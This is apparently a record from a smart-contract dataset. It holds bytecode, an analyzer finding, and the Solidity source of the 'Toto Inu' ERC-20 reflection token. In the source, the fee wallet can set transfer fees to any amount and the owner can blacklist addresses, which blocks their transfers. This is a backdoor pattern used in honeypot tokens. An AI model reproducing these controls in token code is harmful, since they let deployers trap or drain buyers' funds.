602081101561032c57600080fd5b50519061091d565b9061097f565b90506000610358600a6103346101e0610352866109c1565b9061091d565b6001546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b1580156103b357600080fd5b505af11580156103c7573d6000803e3d6000fd5b505050506040513d60208110156103dd57600080fd5b505161041a5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b60035460408051632d4f5b0960e21b81526004810184905290516001600160a01b039092169163b53d6c249160248082019260009290919082900301818387803b15801561046757600080fd5b505af115801561047b573d6000803e3d6000fd5b505050506000610495600a610334610140610352876109c1565b600154600480546040805163a9059cbb60e01b81526001600160a01b039283169381019390935260248301859052519394509091169163a9059cbb916044808201926020929091908290030181600087803b1580156104f357600080fd5b505af1158015610507573d6000803e3d6000fd5b505050506040513d602081101561051d57600080fd5b505161055a5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b600254600160a01b900460ff161515600114156105d5576004805460408051632d4f5b0960e21b8152928301849052516001600160a01b039091169163b53d6c2491602480830192600092919082900301818387803b1580156105bc57600080fd5b505af11580156105d0573d6000803e3d6000fd5b505050505b60006105eb6105e484846109ec565b8590610a46565b6001546002546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561064657600080fd5b505af115801561065a573d6000803e3d6000fd5b505050506040513d602081101561067057600080fd5b50516106ad5760405162461bcd60e51b8152600401808060200182810382526030815260200180610be26030913960400191505060405180910390fd5b50505050565b6000546001600160a01b031633146106ca57600080fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031681565b6002546001600160a01b031681565b6000546001600160a01b0316331461071d57600080fd5b6001600160a01b038116610770576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107a957600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b600254600160a01b900460ff1681565b6001546001600160a01b031681565b6000546001600160a01b0316331461080157600080fd5b6001600160a01b0381166108465760405162461bcd60e51b8152600401808060200182810382526022815260200180610b9f6022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146108a857600080fd5b6001600160a01b0381166108fb576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008261092c57506000610979565b8282028284828161093957fe5b04146109765760405162461bcd60e51b8152600401808060200182810382526021815260200180610bc16021913960400191505060405180910390fd5b90505b92915050565b600061097683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a88565b6000806109cf836064610b2a565b905060006109e461271061033484606461091d565b949350505050565b600082820183811015610976576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061097683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b44565b60008183610b145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ad9578181015183820152602001610ac1565b50505050905090810190601f168015610b065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610b2057fe5b0495945050505050565b6000818260018486010381610b3b57fe5b04029392505050565b60008184841115610b965760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ad9578181015183820152602001610ac1565b50505090039056fe45524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220b52c7a24f1ee0436267eb37d377c4b9e29cb00796bf12f13a88ea5af52cff42464736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,298
0x9253339D51307Dc0f1A8d478B926136055D65D39
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Toto is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; address payable private _feeAddrWallet1 = payable(0x6D662e0caEA7051769B9Aa0d3Af0CE554f34BDFc); address payable private _feeAddrWallet2 = payable(0x6D662e0caEA7051769B9Aa0d3Af0CE554f34BDFc); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 4; uint256 private _feeAddr2 = 5; string private constant _name = "Toto Inu"; string private constant _symbol = "TOTO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f546f746f20496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f544f544f00000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c50505050505050509193955091